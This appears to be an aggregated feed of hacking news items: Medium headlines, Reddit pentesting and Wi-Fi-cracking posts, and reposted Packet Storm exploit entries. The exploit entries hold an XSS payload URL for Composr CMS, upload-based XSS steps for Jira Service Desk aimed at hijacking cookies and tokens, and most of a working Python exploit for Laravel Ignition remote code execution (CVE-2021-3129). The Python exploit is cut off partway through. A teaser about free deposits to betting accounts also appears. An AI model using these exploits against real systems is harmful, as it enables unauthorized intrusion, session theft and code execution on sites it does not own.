Hacking on Medium
I’ve Been Pwned

https://cdn-images-1.medium.com/max/2360/1*yjTH_5UDOt3VXRO6vOOKUA.jpeg
The Facebook breach is a stark reminder of the sorry state of our data

Continue reading on Medium »

Hacking on Medium
Mapas sobre ataques de Ransomware.

https://cdn-images-1.medium.com/max/964/0*fDeZ0h7gqQSrSprC
PUBLICADO EN 7 ABRIL, 2021 POR EHACKING

Continue reading on Medium »

Hacking on Medium
DoS Windows 7 e 10 — CVE-2021–24086

https://cdn-images-1.medium.com/max/1434/1*lkwyuMbfhLF1b16tBcAubQ.jpeg
Nesse artigo será explorado a falha recente do Windows 10 que ataca os endereços locais de link IPv6 causando a tela azul da morte:

Continue reading on Medium »

Android Image to PenTest.
https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/

<!-- SC_OFF -->Hello all. Im new to the whole PenTest world. Im currently setting up my lab. Im following the Penetration Testing book by Georgia Weidman. I'm at the point of setting up Android targets, and I see that the images listed in the book are deprecated in Android SDK / AVD. Makes sense, those are old phones / images. What are some images that are worth emulating and targeting. I'm not too hip on the new phones and OS flavors. ​ Thanks <!-- SC_ON --> submitted by /u/BU5HMA5T3R (https://www.reddit.com/user/BU5HMA5T3R)
[link] (https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/) [comments] (https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/)

hacking: security in practice
What if you could deposit money into your Betting account for free?

https://external-preview.redd.it/jPihEGIUHOik5mFOrT6gBPt5pdhvjxLGhZUrMJbe30c.jpg?width=320&crop=smart&auto=webp&s=3d494859a63c372e201e44229987687b34905ec4 submitted by /u/CodePerfect
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
Wi-fi hacking success rate?

Hi folks,

I was wondering what your common success rate was with hacking WAPs. Like many before me, I have started flirting with the hacking trade a couple of years ago by watching hours of tutorials where stuff nearly always works very smoothly. As soon as you actually start trying, stuff becomes more frustrating and for as long as you remain a script kiddie, you are destined to fail in real life settings.

Recently, I have purchased 5 new and 10 older - used WAPs of various makes, but the common tools only seldom work against them in default settings and it takes some prolonged tweaking (will post some scenarios later on) to crack even some of the old ones (the new ones I seem not to have a chance at this time).

How's your success rates and what works best for you?

Cheers.

submitted by /u/gspnst
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Composr CMS 10.0.36 Cross Site Scripting

https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Composr CMS version 10.0.36 suffers from a cross site scripting vulnerability.

MD5 | 7557702ccddf1edf3bec1d21a0ca5250

Download
# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30150

Vulnerable Endpoint:
https://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<something:scriptalert("Hello")

Source:packetstormsecurity.com

Exploit Collector
Atlassian Jira Service Desk 4.9.1 Cross Site Scripting

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
Atlassian Jira Service Desk version 4.9.1 suffers from a cross site scripting vulnerability via a file upload.

MD5 | 840e289057a75abee3ebef734b12ec0a

Download
# Exploit Title: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
# Date: 07 Mar 2020
# Exploit Author: Captain_hook
# Vendor Homepage: https://www.atlassian.com/
# Version: < 4.10.0
# Tested on: All OS
# CVE: CVE-2020-14166

Summary:

The /servicedesk/customer/portals resource in Jira Service Desk Server and Data Center before version 4.10.0 allows remote attackers with project administrator privileges to inject arbitrary HTML or JavaScript names via an Cross Site Scripting (XSS) vulnerability by uploading a html file.

Steps to reproduce:

1- reach to this directory http://localhost:port/servicedesk/customer/portals?customize=true
2- There's a place where the banner can be uploaded when upload wizard popup you can see that the banner image restricted to image format, you can change that type easily
3- then you can upload HTML and javascript files and hijacking cookies or XSRF tokens.

Original report in bugcrowd:

https://bugcrowd.com/disclosures/61a50171-aa55-4126-b9f4-4e82b4b8c301/unrestricted-file-upload-stored-xss-for-token-hijacking
Original ticket in atlassian:

https://jira.atlassian.com/browse/JSDSERVER-6895?error=login_required&error_description=Login+required&state=28f8e754-fb05-4f5e-adda-79e252fe2c30

Source:packetstormsecurity.com

Exploit Collector
Ignition 2.5.1 Remote Code Execution

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Ignition versions prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel versions prior to 8.4.2.

MD5 | f2749663416c9f45e752a3213c8cb2d6

Download
#!/usr/bin/env python3.7
# Laravel debug mode Remote Code Execution (Ignition <=
# CVE-2021-3129
# Reference: https://www.ambionics.io/blog/laravel-debug-rce
# Author: cfreal
# Date: 2021-01-13
#
import base64
import re
import sys
from dataclasses import dataclass

import requests
@dataclass
class Exploit:
session: requests.Session
url: str
payload: bytes
log_path: str

def main(self):
if not self.log_path:
self.log_path = self.get_log_path()

try:
self.clear_logs()
self.put_payload()
self.convert_to_phar()
self.run_phar()
finally:
self.clear_logs()

def success(self, message, *args):
print('+ ' + message.format(*args))

def failure(self, message, *args):
print('- ' + message.format(*args))
exit()

def get_log_path(self):
r = self.run_wrapper('DOESNOTEXIST')
match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text)
if not match:
self.failure('Unable to find full path')
path = match.group(1).replace('\\/', '/')
path = f'{path}/storage/logs/laravel.log'
r = self.run_wrapper(path)
if r.status_code != 200:
self.failure('Log file does not exist: {}', path)

self.success('Log file: {}', path)
return path

def clear_logs(self):
wrapper = f'php://filter/read=consumed/resource={self.log_path}'
self.run_wrapper(wrapper)
self.success('Logs cleared')
return True

def get_write_filter(self):
filters = '|'.join((
'convert.quoted-printable-decode',
'convert.iconv.utf-16le.utf-8',
'convert.base64-decode'
))
return f'php://filter/write={filters}/resource={self.log_path}'

def run_wrapper(self, wrapper):
solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
return self.session.post(
self.url + '/_ignition/execute-solution/',
json={
"solution": solution,
"parameters": {
"viewFile": wrapper,
"variableName": "doesnotexist"
}
}
)

def put_payload(self):
payload = self.generate_payload()
# This garanties the total log size is even
self.run_wrapper(payload)
self.run_wrapper('AA')

def generate_payload(self):
payload = self.payload
payload = base64.b64encode(payload).decode().rstrip('=')
payload = ''.join(c + '=00' for c in payload)
# The payload gets displayed twice: use an additional '=00' so that
# the second one does not have the same word alignment
return 'A' * 100 + payload + '=00'

def convert_to_phar(self):
wrapper = self.get_write_filter()
r = self.run_wrapper(wrapper)
if r.status_code == 200:
self.success('Successfully converted to PHAR !')
else:
self.failure('Convertion to PHAR failed (try again ?)')

def run_phar(self):
wrapper = f'phar://{self.log_path}/test.txt'
r = self.run_wrapper(wrapper)
if r.status_code != 500:
self.failure('Deserialisation failed ?!!')
self.success('Phar deserialized')
# We might be able to read the output of system, but if we can't, it's ok
match = re.search('^(.*?)\n\nSource: packetstormsecurity.com